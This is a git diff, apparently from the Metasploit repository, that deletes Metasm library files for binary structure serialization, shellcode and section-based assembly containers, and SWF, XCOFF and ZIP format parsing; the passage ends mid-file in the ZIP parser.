b/lib/metasm/metasm/exe_format/serialstruct.rb deleted file mode 100644 index 5154dc01e8..0000000000 --- a/lib/metasm/metasm/exe_format/serialstruct.rb +++ /dev/null @@ -1,299 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -# a class representing a simple structure serialized in a binary -class SerialStruct - # hash shared by all classes - # key = class, value = array of fields - # field = array [name, decode...] - @@fields = {} - NAME=0 - DECODE=1 - ENCODE=2 - SIZEOF=3 - DEFVAL=4 - ENUM=5 - BITS=6 - -class << self - # defines a new field - # adds an accessor - def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil) - if name - attr_accessor name - name = "@#{name}".to_sym - end - (@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits] - end - - # creates a field constructor for a simple integer - # relies on exe implementing (en,de)code_#{type} - def new_int_field(*types) - recv = class << self ; self ; end - types.each { |type| - recv.send(:define_method, type) { |name, *args| - new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1]) - } - - # shortcut to define multiple fields of this type with default values - recv.send(:define_method, "#{type}s") { |*names| - names.each { |name| send type, name } - } - } - end - - # standard fields: - - # virtual field, handled explicitly in a custom encode/decode - def virtual(*a) - a.each { |f| - new_field(f, nil, nil, nil, nil) - } - end - - # a fixed-size memory chunk - def mem(name, len, defval='') - new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval) - end - # a fixed-size string, 0-padded - def str(name, len, defval='') - d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v } - e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) } - s = lambda { |exe, me| len } - new_field(name, d, e, s, defval) - end - # 0-terminated string - def strz(name, defval='') - d = lambda { |exe, me| - ed = exe.curencoded - ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop - } - e = lambda { |exe, me, val| val + 0.chr } - s = lambda { |exe, val| val.length + 1 } - new_field(name, d, e, s, defval) - end - - # field access - def fld_get(name) - name = "@#{name}".to_sym - @@fields[self].find { |f| f[NAME] == name } - end - - # change the default for a field - def fld_default(name, default=nil, &b) - default ||= b - fld_get(name)[DEFVAL] = default - end - def fld_enum(name, enum=nil, &b) fld_get(name)[ENUM] = enum||b end - def fld_bits(name, bits=nil, &b) fld_get(name)[BITS] = bits||b end - - # define a bitfield: many fields inside a single word/byte/whatever - # usage: bitfield :word, 0 => :lala, 1 => nil, 4 => :lolo, 8 => :foo - # => a bitfield read using exe.decode_word, containing 3 subfields: - # :lala (bits 0...1), (discard 3 bits), :lolo (bits 4...8), and :foo (bits 8..-1) - # fields default to 0 - def bitfield(inttype, h) - # XXX encode/decode very not threadsafe ! this is a Georges Foreman Guarantee. - # could use a me.instance_variable.. - - # decode the value in a temp var - d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") } - # reset a temp var - e = lambda { |exe, me, val| @bitfield_val = 0 ; nil } - new_field(nil, d, e, 0, nil) - - h = h.sort - h.length.times { |i| - # yay closure ! - # get field parameters - next if not name = h[i][1] - off = h[i][0] - nxt = h[i+1] - mask = (nxt ? (1 << (nxt[0]-off))-1 : -1) - # read the field value from the temp var - d = lambda { |exe, me| (@bitfield_val >> off) & mask } - # update the temp var with the field value, return nil - e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil } - new_field(name, d, e, 0, 0) - } - - # free the temp var - d = lambda { |exe, me| @bitfield_val = nil } - # return encoded temp var - e = lambda { |exe, me, val| - val = @bitfield_val - @bitfield_val = nil - exe.send("encode_#{inttype}", val) - } - s = lambda { |exe, me| exe.send("sizeof_#{inttype}") } - new_field(nil, d, e, s, nil) - end - - # inject a hook to be run during the decoding process - def decode_hook(before=nil, &b) - @@fields[self] ||= [] - idx = (before ? @@fields[self].index(fld_get(before)) : -1) - @@fields[self].insert(idx, [nil, b]) - end -end # class methods - - # standard int fields - new_int_field :byte, :half, :word - - # set value of fields from argument list, runs int_to_hash if needed - def initialize(*a) - if not a.empty? - a.zip(struct_fields.reject { |f| not f[NAME] }).each { |v, f| - v = int_to_hash(v, f[ENUM]) if f[ENUM] - v = bits_to_hash(v, f[BITS]) if f[BITS] - instance_variable_set f[NAME], v - } - end - end - - # returns this classes' field array - # uses struct_specialized if defined (a method that returns another - # SerialStruct class whose fields should be used) - def struct_fields(exe=nil) - klass = self.class - klass = struct_specialized(exe) if respond_to? :struct_specialized - raise "SerialStruct: no fields for #{klass}" if $DEBUG and not @@fields[klass] - @@fields[klass] - end - - # decodes the fields from the exe - def decode(exe, *args) - struct_fields(exe).each { |f| - case d = f[DECODE] - when Symbol; val = exe.send(d, *args) - when Array; val = exe.send(*d) - when Proc; val = d[exe, self] - when nil; next - end - next if not f[NAME] - if h = f[ENUM]; h = h[exe, self] if h.kind_of? Proc; val = int_to_hash( val, h) end - if h = f[BITS]; h = h[exe, self] if h.kind_of? Proc; val = bits_to_hash(val, h) end - instance_variable_set(f[NAME], val) - } - end - - # initialize uninitialized fields - def set_default_values(exe) - struct_fields(exe).each { |f| - if not f[NAME] - f[DEFVAL][exe, self] if f[DEFVAL] - next - end - # check existence to avoid a "warning: ivar @bla not initialized" - next if instance_variables.map { |ivn| ivn.to_sym }.include?(f[NAME]) and instance_variable_get(f[NAME]) - val = f[DEFVAL] - val = val[exe, self] if val.kind_of? Proc - if val.kind_of? Integer and h = f[ENUM]; h = h[exe, self] if h.kind_of? Proc; val = int_to_hash( val, h) end - if val.kind_of? Integer and h = f[BITS]; h = h[exe, self] if h.kind_of? Proc; val = bits_to_hash(val, h) end - instance_variable_set(f[NAME], val) - } - end - - # sets default values, then encodes the fields, returns an EData - def encode(exe, *a) - set_default_values(exe, *a) - - ed = EncodedData.new - struct_fields(exe).each { |f| - if not f[NAME] - ed << f[ENCODE][exe, self, nil] if f[ENCODE] - next - end - val = instance_variable_get(f[NAME]) - if h = f[ENUM]; h = h[exe, self] if h.kind_of? Proc; val = int_from_hash( val, h) end - if h = f[BITS]; h = h[exe, self] if h.kind_of? Proc; val = bits_from_hash(val, h) end - case e = f[ENCODE] - when Symbol; val = exe.send(e, val) - when Array; val = exe.send(e, *val) - when Proc; val = e[exe, self, val] - when nil; next - end - ed << val - } - ed - end - - # size of the structure = fields.sum { size of field } - def sizeof(exe) - struct_fields(exe).inject(0) { |off, f| - case sz = f[SIZEOF] - when Proc; sz = sz[exe, self] - when Symbol; sz = exe.send(sz) - when Array; sz = exe.send(*sz) - when nil; sz = 0 - end - off + sz - } - end - - # offset (in bytes) of the structure member - # for bitfields, return the byte offset of the whole bitfield - def offsetof(exe, fld) - fld2 = fld - fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@ - off = 0 - struct_fields(exe).each { |f| - return off if f[NAME] == fld or f[NAME] == fld2 - - case sz = f[SIZEOF] - when Proc; sz = sz[exe, self] - when Symbol; sz = exe.send(sz) - when Array; sz = exe.send(*sz) - when nil; sz = 0 - end - off += sz - } - raise 'unknown field' - end - - # shortcut to create a new instance and decode it - def self.decode(*a) - s = new - s.decode(*a) - s - end - - def self.sizeof(exe) - new.sizeof(exe) - end - - def self.offsetof(exe, fld) - new.offsetof(exe, fld) - end - - def dump(e, a) - case e - when Integer; e >= 0x100 ? '0x%X'%e : e - when String; e.length > 64 ? e[0, 62].inspect+'...' : e.inspect - when Array; '[' + e.map { |i| dump(i, a) }.join(', ') + ']' - when SerialStruct; a.include?(e) ? '...' : e.to_s(a) - else e.inspect - end - end - - # displays the struct content, ordered by fields - def to_s(a=[]) - ivs = instance_variables.map { |iv| iv.to_sym } - ivs = (struct_fields.to_a.map { |f| f[NAME] }.compact & ivs) | ivs - "<#{self.class} " + ivs.map { |iv| "#{iv}=#{dump(instance_variable_get(iv), a+[self])}" }.join(' ') + ">" - end -end - -class ExeFormat - def curencoded; encoded; end - def decode_strz(ed = curencoded) - if stop = ed.data.index(?\0, ed.ptr) - ed.read(stop - ed.ptr + 1).chop - else '' - end - end -end -end diff --git a/lib/metasm/metasm/exe_format/shellcode.rb b/lib/metasm/metasm/exe_format/shellcode.rb deleted file mode 100644 index df2dfa01a7..0000000000 --- a/lib/metasm/metasm/exe_format/shellcode.rb +++ /dev/null @@ -1,118 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' - -module Metasm -# a shellcode is a simple sequence of instructions -class Shellcode < ExeFormat - # the array of source elements (Instr/Data etc) - attr_accessor :source - # the base address of the shellcode (nil if unspecified) - attr_accessor :base_addr - - def initialize(cpu=nil, base_addr=nil) - @base_addr = base_addr - @source = [] - super(cpu) - end - - def parse_init - @cursource = @source - super() - end - - # allows definition of the base address - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.base', '.baseaddr', '.base_addr' - # ".base_addr <expression>" - # expression should #reduce to integer - @lexer.skip_space - raise instr, 'syntax error' if not @base_addr = Expression.parse(@lexer).reduce - raise instr, 'syntax error' if tok = @lexer.nexttok and tok.type != :eol - else super(instr) - end - end - - def get_section_at(addr) - base = @base_addr || 0 - if not addr.kind_of? Integer - [@encoded, addr] if @encoded.ptr = @encoded.export[addr] - elsif addr >= base and addr < base + @encoded.virtsize - @encoded.ptr = addr - base - [@encoded, addr] - end - end - - def each_section - yield @encoded, (@base_addr || 0) - end - - def addr_to_fileoff(addr) - addr - (base_addr || 0) - end - - def fileoff_to_addr(foff) - foff + (base_addr || 0) - end - - # encodes the source found in self.source - # appends it to self.encoded - # clears self.source - # the optional parameter may contain a binding used to fixup! self.encoded - # uses self.base_addr if it exists - def assemble(*a) - parse(*a) if not a.empty? - @encoded << assemble_sequence(@source, @cpu) - @source.clear - self - end - - def encode(binding={}) - @encoded.fixup! binding if binding.kind_of? Hash - @encoded.fixup @encoded.binding(@base_addr) - @encoded.fill @encoded.rawsize - self - end - - def decode - end - - def self.disassemble(cpu, str, eip=0) - sc = decode(str, cpu) - sc.disassemble(eip) - end - - def init_disassembler - d = super() - d.function[:default] = @cpu.disassembler_default_func - d - end - - def compile_setsection(src, section) - end - - def dump_section_header(addr, edata) - '' - end - - def get_default_entrypoints - [@base_addr || 0] - end - - # returns a virtual subclass of Shellcode whose cpu_from_headers will return cpu - def self.withcpu(cpu) - c = Class.new(self) - c.send(:define_method, :cpu_from_headers) { - cpu = Metasm.const_get(cpu) if cpu.kind_of?(::String) - cpu = cpu.new if cpu.kind_of?(::Class) and cpu.ancestors.include?(CPU) - cpu - } - c - end -end -end diff --git a/lib/metasm/metasm/exe_format/shellcode_rwx.rb b/lib/metasm/metasm/exe_format/shellcode_rwx.rb deleted file mode 100644 index 9ef0980edf..0000000000 --- a/lib/metasm/metasm/exe_format/shellcode_rwx.rb +++ /dev/null @@ -1,114 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/exe_format/main' - -module Metasm -# Similar to Shellcode, with distinct sections per memory permission (R / RW / RX) -# encoding-side only -class Shellcode_RWX < ExeFormat - # the array of source elements (Instr/Data etc) - attr_accessor :source_r, :source_w, :source_x - # base address per section - attr_accessor :base_r, :base_w, :base_x - # encodeddata - attr_accessor :encoded_r, :encoded_w, :encoded_x - - def initialize(cpu=nil) - @base_r = @base_w = @base_x = nil - @encoded_r = EncodedData.new - @encoded_w = EncodedData.new - @encoded_x = EncodedData.new - - super(cpu) - end - - def parse_init - @source_r = [] - @source_w = [] - @source_x = [] - @cursource = @source_x - super() - end - - # allows definition of the base address - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.base', '.baseaddr', '.base_addr' - # ".base_addr <expression>" - # expression should #reduce to integer - @lexer.skip_space - raise instr, 'syntax error' if not base = Expression.parse(@lexer).reduce - raise instr, 'syntax error' if tok = @lexer.nexttok and tok.type != :eol - if @cursource.equal?(@source_r) - @base_r = base - elsif @cursource.equal?(@source_w) - @base_w = base - elsif @cursource.equal?(@source_x) - @base_x = base - else raise instr, "Where am I ?" - end - when '.rdata', '.rodata' - @cursource = @source_r - when '.data', '.bss' - @cursource = @source_w - when '.text' - @cursource = @source_x - else super(instr) - end - end - - # encodes the source found in self.source - # appends it to self.encoded - # clears self.source - # the optional parameter may contain a binding used to fixup! self.encoded - # uses self.base_addr if it exists - def assemble(*a) - parse(*a) if not a.empty? - @encoded_r << assemble_sequence(@source_r, @cpu); @source_r.clear - @encoded_w << assemble_sequence(@source_w, @cpu); @source_w.clear - @encoded_x << assemble_sequence(@source_x, @cpu); @source_x.clear - self - end - - def encode(binding={}) - bd = {} - bd.update @encoded_r.binding(@base_r) - bd.update @encoded_w.binding(@base_w) - bd.update @encoded_x.binding(@base_x) - bd.update binding if binding.kind_of?(Hash) - @encoded_r.fixup bd - @encoded_w.fixup bd - @encoded_x.fixup bd - self - end - alias fixup encode - - # resolve inter-section xrefs, raise if unresolved relocations remain - # call this when you have assembled+allocated memory for every section - def fixup_check(base_r=nil, base_w=nil, base_x=nil, bd={}) - if base_r.kind_of?(Hash) - bd = base_r - base_r = nil - end - @base_r = base_r if base_r - @base_w = base_w if base_w - @base_x = base_x if base_x - fixup bd - ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x - raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? - self - end - - def encode_string(*a) - encode(*a) - ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x - ed.fixup(ed.binding) - raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? - ed.data - end -end -end diff --git a/lib/metasm/metasm/exe_format/swf.rb b/lib/metasm/metasm/exe_format/swf.rb deleted file mode 100644 index 3d7254d6bd..0000000000 --- a/lib/metasm/metasm/exe_format/swf.rb +++ /dev/null @@ -1,205 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' -begin - require 'zlib' -rescue LoadError -end - -module Metasm -class SWF < ExeFormat - attr_accessor :signature, :version, :header, :chunks - - CHUNK_TYPE = { - 0 => 'End', 1 => 'ShowFrame', 2 => 'DefineShape', 3 => 'FreeCharacter', - 4 => 'PlaceObject', 5 => 'RemoveObject', 6 => 'DefineBits', 7 => 'DefineButton', - 8 => 'JPEGTables', 9 => 'SetBackgroundColor', 10 => 'DefineFont', 11 => 'DefineText', - 12 => 'DoAction', 13 => 'DefineFontInfo', 14 => 'DefineSound', 15 => 'StartSound', - 16 => 'StopSound', 17 => 'DefineButtonSound', 18 => 'SoundStreamHead', 19 => 'SoundStreamBlock', - 20 => 'DefineBitsLossless', 21 => 'DefineBitsJPEG2', 22 => 'DefineShape2', 23 => 'DefineButtonCxform', - 24 => 'Protect', 25 => 'PathsArePostScript', 26 => 'PlaceObject2', - 28 => 'RemoveObject2', 29 => 'SyncFrame', 31 => 'FreeAll', - 32 => 'DefineShape3', 33 => 'DefineText2', 34 => 'DefineButton2', 35 => 'DefineBitsJPEG3', - 36 => 'DefineBitsLossless2', 37 => 'DefineEditText', 38 => 'DefineVideo', 39 => 'DefineSprite', - 40 => 'NameCharacter', 41 => 'ProductInfo', 42 => 'DefineTextFormat', 43 => 'FrameLabel', - 44 => 'DefineBehavior', 45 => 'SoundStreamHead2', 46 => 'DefineMorphShape', 47 => 'FrameTag', - 48 => 'DefineFont2', 49 => 'GenCommand', 50 => 'DefineCommandObj', 51 => 'CharacterSet', - 52 => 'FontRef', 53 => 'DefineFunction', 54 => 'PlaceFunction', 55 => 'GenTagObject', - 56 => 'ExportAssets', 57 => 'ImportAssets', 58 => 'EnableDebugger', 59 => 'DoInitAction', - 60 => 'DefineVideoStream', 61 => 'VideoFrame', 62 => 'DefineFontInfo2', 63 => 'DebugID', - 64 => 'EnableDebugger2', 65 => 'ScriptLimits', 66 => 'SetTabIndex', 67 => 'DefineShape4', - 68 => 'DefineMorphShape2', 69 => 'FileAttributes', 70 => 'PlaceObject3', 71 => 'ImportAssets2', - 72 => 'DoABC', 76 => 'SymbolClass', 82 => 'DoABC2', - } - - class SerialStruct < Metasm::SerialStruct - new_int_field :u8, :u16, :u32, :f16, :f32 - end - - class Rectangle < SerialStruct - virtual :nbits, :xmin, :xmax, :ymin, :ymax - - def decode(swf) - byte = swf.decode_u8 - bleft = 3 - @nbits = byte >> bleft - @xmin, @xmax, @ymin, @ymax = (0..3).map { - nb = @nbits - v = 0 - while nb > bleft - nb -= bleft - v |= (byte & ((1<<bleft)-1)) << nb - - bleft = 8 - byte = swf.decode_u8 - end - v |= (byte >> (bleft-nb)) & ((1<<nb)-1) - bleft -= nb - - Expression.make_signed(v, @nbits) - } - end - - def set_default_values(swf) - @xmin ||= 0 - @xmax ||= 31 - @ymin ||= 0 - @ymax ||= 31 - @nbits = (0..30).find { |nb| - [@xmin, @xmax, @ymin, @ymax].all? { |v| - if nb == 0 - v == 0 - elsif v >= 0 - # reserve sign bit - (v >> (nb-1)) == 0 - else - (v >> nb) == -1 - end - } } || 31 - end - - def encode(swf) - ed = super(swf) - - byte = @nbits << 3 - bleft = 3 - [@xmin, @xmax, @ymin, @ymax].each { |v| - nb = @nbits - while nb > bleft - byte |= (v >> (nb-bleft)) & ((1<<bleft)-1) - nb -= bleft - - ed << byte - byte = 0 - bleft = 8 - end - byte |= (v & ((1<<nb)-1)) << (bleft-nb) - bleft -= nb - } - ed << byte if bleft < 8 - - ed - end - end - - class Header < SerialStruct - virtual :view - u16 :framerate # XXX bigendian... - u16 :framecount - - def bswap_framerate(swf) - @framerate = ((@framerate >> 8) & 0xff) | ((@framerate & 0xff) << 8) if swf.endianness == :little - end - - def decode(swf) - @view = Rectangle.decode(swf) - super(swf) - bswap_framerate(swf) - end - - def encode(swf) - ed = @view.encode(swf) - bswap_framerate(swf) - ed << super(swf) - bswap_framerate(swf) - ed - end - end - - class Chunk < SerialStruct - bitfield :u16, 0 => :length_, 6 => :tag - fld_enum :tag, CHUNK_TYPE - attr_accessor :data - - def decode(swf) - super(swf) - @length = (@length_ == 0x3f ? swf.decode_u32 : @length_) - @data = swf.encoded.read(@length) - end - - def set_default_values(swf) - @length = @data.length - @length_ = [@length, 0x3f].min - end - - def encode(swf) - super(swf) << - (swf.encode_u32(@length) if @length >= 0x3f) << - @data - end - end - - def decode_u8( edata=@encoded) edata.decode_imm(:u8, @endianness) end - def decode_u16(edata=@encoded) edata.decode_imm(:u16, @endianness) end - def decode_u32(edata=@encoded) edata.decode_imm(:u32, @endianness) end - def decode_f16(edata=@encoded) edata.decode_imm(:i16, @endianness)/256.0 end - def decode_f32(edata=@encoded) edata.decode_imm(:i32, @endianness)/65536.0 end - def encode_u8(w) Expression[w].encode(:u8, @endianness) end - def encode_u16(w) Expression[w].encode(:u16, @endianness) end - def encode_u32(w) Expression[w].encode(:u32, @endianness) end - def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end - def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end - def sizeof_u8 ; 1 ; end - def sizeof_u16 ; 2 ; end - def sizeof_u32 ; 4 ; end - def sizeof_f16 ; 2 ; end - def sizeof_f32 ; 4 ; end - - attr_accessor :endianness - def initialize(cpu = nil) - @endianness = :little - @header = Header.new - @chunks = [] - super(cpu) - end - - def decode_header - @signature = @encoded.read(3) - @version = decode_u8 - @data_length = decode_u32 - case @signature - when 'FWS' - when 'CWS' - # data_length = uncompressed data length - data = @encoded.read(@encoded.length-8) - data = Zlib::Inflate.inflate(data) - @encoded = EncodedData.new(data) - else raise InvalidExeFormat, "Bad signature #{@signature.inspect}" - end - @data_length = [@data_length, @encoded.length].min - @header = Header.decode(self) - end - - def decode - decode_header - while @encoded.ptr < @data_length - @chunks << Chunk.decode(self) - end - end -end -end diff --git a/lib/metasm/metasm/exe_format/xcoff.rb b/lib/metasm/metasm/exe_format/xcoff.rb deleted file mode 100644 index 2e3a21e7da..0000000000 --- a/lib/metasm/metasm/exe_format/xcoff.rb +++ /dev/null @@ -1,167 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' - -module Metasm -class XCoff < ExeFormat - FLAGS = { 1 => 'RELFLG', 2 => 'EXEC', 4 => 'LNNO', - 0x200 => 'AR32W', 0x400 => 'PATCH', 0x1000 => 'DYNLOAD', - 0x2000 => 'SHROBJ', 0x4000 => 'LOADONLY' } - - SECTION_FLAGS = { 8 => 'PAD', 0x20 => 'TEXT', 0x40 => 'DATA', 0x80 => 'BSS', - 0x100 => 'EXCEPT', 0x200 => 'INFO', 0x1000 => 'LOADER', - 0x2000 => 'DEBUG', 0x4000 => 'TYPCHK', 0x8000 => 'OVRFLO' } - - class SerialStruct < Metasm::SerialStruct - new_int_field :xword, :xhalf - end - - class Header < SerialStruct - mem :sig, 2 - decode_hook { |exe, hdr| - exe.endianness, exe.intsize = - case @sig - when "\1\xdf"; [:big, 32] - when "\xdf\1"; [:little, 32] - when "\1\xef"; [:big, 64] - when "\xef\1"; [:little, 64] - else raise InvalidExeFormat, "invalid a.out signature" - end - } - half :nsec - word :timdat - xword :symptr - word :nsym - half :opthdr - half :flags - fld_bits :flags, FLAGS - - def set_default_values(xcoff) - @sig ||= case [xcoff.endianness, xcoff.intsize] - when [:big, 32]; "\1\xdf" - when [:little, 32]; "\xdf\1" - when [:big, 64]; "\1\xef" - when [:little, 64]; "\xef\1" - end - @nsec ||= xcoff.sections.size - @symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0 - @nsym ||= xcoff.symbols ? xcoff.symbols.length : 0 - @opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0 - super(xcoff) - end - end - - class OptHeader < SerialStruct - halfs :magic, :vstamp - xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc - halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu - xwords :maxstack, :maxdata - new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '') - - - def set_default_values(xcoff) - @vstamp ||= 1 - @snentry ||= 1 - @sntext ||= 1 - @sndata ||= 2 - @sntoc ||= 3 - @snloader||= 4 - @snbss ||= 5 - super(xcoff) - end - end - - class Section < SerialStruct - str :name, 8 - xwords :paddr, :vaddr, :size, :scnptr, :relptr, :lnnoptr - xhalfs :nreloc, :nlnno, :flags - fld_bits :flags, SECTION_FLAGS - - def set_defalut_values(xcoff) - @name ||= @flags.kind_of?(::Array) ? ".#{@flags.first.to_s.downcase}" : '' - @vaddr ||= @paddr ? @paddr : @encoded ? xcoff.label_at(@encoded, 0, 's_vaddr') : 0 - @paddr ||= @vaddr - @size ||= @encoded ? @encoded.size : 0 - @scnptr ||= xcoff.new_label('s_scnptr') - super(xcoff) - end - end - - # basic immediates decoding functions - def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end - def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end - def encode_half(w) Expression[w].encode(:u16, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end - def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end - def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end - def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end - - - attr_accessor :header, :segments, :relocs, :intsize, :endianness - - def initialize(cpu=nil) - @header = Header.new - @sections = [] - if @cpu - @intsize = @cpu.size - @endianness = @cpu.endianness - else - @intsize = 32 - @endianness = :little - end - super(cpu) - end - - def decode_header(off = 0) - @encoded.ptr = off - @header.decode(self) - if @header.opthdr != 0 - @optheader = OptHeader.decode(self) - end - @header.nsec.times { @sections << Section.decode(self) } - end - - def decode - decode_header - @sections.each { |s| s.encoded = @encoded[s.scnptr, s.size] } - end - - def encode - @encoded = EncodedData.new - @encoded << @header.encode(self) - @encoded << @optheader.encode(self) if @optheader - @sections.each { |s| @encoded << s.encode(self) } - va = @encoded.size - binding = {} - @sections.each { |s| - if s.scnptr.kind_of? ::String - binding[s.scnptr] = @encoded.size - else - raise 'scnptr too low' if @encoded.virtsize > s.scnptr - @encoded.virtsize = s.scnptr - end - va = (va + 4096 - 1)/4096*4096 - if s.vaddr.kind_of? ::String - binding[s.vaddr] = va - else - va = s.vaddr - end - binding.update s.encoded.binding(va) - va += s.encoded.size - @encoded << s.encoded - } - @encoded.fixup!(binding) - @encoded.data - end -end -end diff --git a/lib/metasm/metasm/exe_format/zip.rb b/lib/metasm/metasm/exe_format/zip.rb deleted file mode 100644 index e5ba04b4d4..0000000000 --- a/lib/metasm/metasm/exe_format/zip.rb +++ /dev/null @@ -1,335 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/exe_format/main' -require 'metasm/encode' -require 'metasm/decode' -begin - require 'zlib' -rescue LoadError -end - -# generic ZIP file, may be an APK or JAR -# supports only a trivial subset of the whole ZIP specification -# single file archive -# deflate or no compression -# no encryption -# 32bit offsets/sizes - -module Metasm -class ZIP < ExeFormat - MAGIC_LOCALHEADER = 0x04034b50 - COMPRESSION_METHOD = { 0 => 'NONE', 1 => 'SHRUNK', 2 => 'REDUCE1', 3 => 'REDUCE2', - 4 => 'REDUCE3', 5 => 'REDUCE4', 6 => 'IMPLODE', 7 => 'TOKENIZED', - 8 => 'DEFLATE', 9 => 'DEFLATE64', 10 => 'OLDTERSE', 12 => 'BZIP2', 14 => 'LZMA', - 18 => 'TERSE', 19 => 'LZ77', 97 => 'WAVPACK', 98 => 'PPMD' } - - # zip file format: - # - # [local header 1] - # compressed data 1 - # - # [local header 2] - # compressed data 2 - # - # [central header 1] - # [central header 2] - # - # [end of central directory] - - class LocalHeader < SerialStruct - word :signature, MAGIC_LOCALHEADER - half :verneed, 10 - half :flags # bit 3 => has data descriptor following the compressed data - half :compress_method, 0, COMPRESSION_METHOD - halfs :mtime, :mdate - word :crc32 - words :compressed_sz, :uncompressed_sz - halfs :fname_len, :extra_len - attr_accessor :fname, :extra - attr_accessor :compressed_off - - def decode(zip) - super(zip) - raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_LOCALHEADER - @fname = zip.encoded.read(@fname_len) if @fname_len > 0 - @extra = zip.encoded.read(@extra_len) if @extra_len > 0 - @compressed_off = zip.encoded.ptr - end - - def set_default_values(zip) - @fname_len = fname ? @fname.length : 0 - @extra_len = extra ? @extra.length : 0 - super(zip) - end - - def encode(zip) - ed = super(zip) - ed << fname << extra - end - - # return a new LocalHeader with all fields copied from a CentralHeader - def self.from_central(f) - l = new - l.verneed = f.verneed - l.flags = f.flags - l.compress_method = f.compress_method - l.mtime = f.mtime - l.mdate = f.mdate - l.crc32 = f.crc32 - l.compressed_sz = f.compressed_sz - l.uncompressed_sz = f.uncompressed_sz - l.fname = f.fname - l.extra = f.extra - l - end - end - - MAGIC_CENTRALHEADER = 0x02014b50 - class CentralHeader < SerialStruct - word :signature, MAGIC_CENTRALHEADER - half :vermade, 10 - half :verneed, 10 - half :flags - half :compress_method, 0, COMPRESSION_METHOD - halfs :mtime, :mdate - word :crc32 - words :compressed_sz, :uncompressed_sz - halfs :fname_len, :extra_len, :comment_len - half :disk_nr - half :file_attr_intern - word :file_attr_extern - word :localhdr_off - attr_accessor :fname, :extra, :comment - attr_accessor :data - - def decode(zip) - super(zip) - raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_CENTRALHEADER - @fname = zip.encoded.read(@fname_len) if @fname_len > 0 - @extra = zip.encoded.read(@extra_len) if @extra_len > 0 - @comment = zip.encoded.read(@comment_len) if @comment_len > 0 - end - - def set_default_values(zip) - @fname_len = fname ? @fname.length : 0 - @extra_len = extra ? @extra.length : 0 - @comment_len = comment ? @comment.length : 0 - super(zip) - end - - def encode(zip) - ed = super(zip) - ed << fname << extra << comment - end - - # reads the raw file data from the archive - def file_data(zip) - return @data if data - - zip.encoded.ptr = @localhdr_off - LocalHeader.decode(zip) - raw = zip.encoded.read(@compressed_sz) - @data = case @compress_method - when 'NONE' - raw - when 'DEFLATE' - z = Zlib::Inflate.new(-Zlib::MAX_WBITS) - z.inflate(raw) - else - raise "Unsupported zip compress method #@compress_method" - end - end - - def zlib_deflate(data, level=Zlib::DEFAULT_COMPRESSION) - z = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) - z.deflate(data) + z.finish - end - - # encode the data, fixup related fields - def encode_data(zip) - data = file_data(zip) - @compress_method = 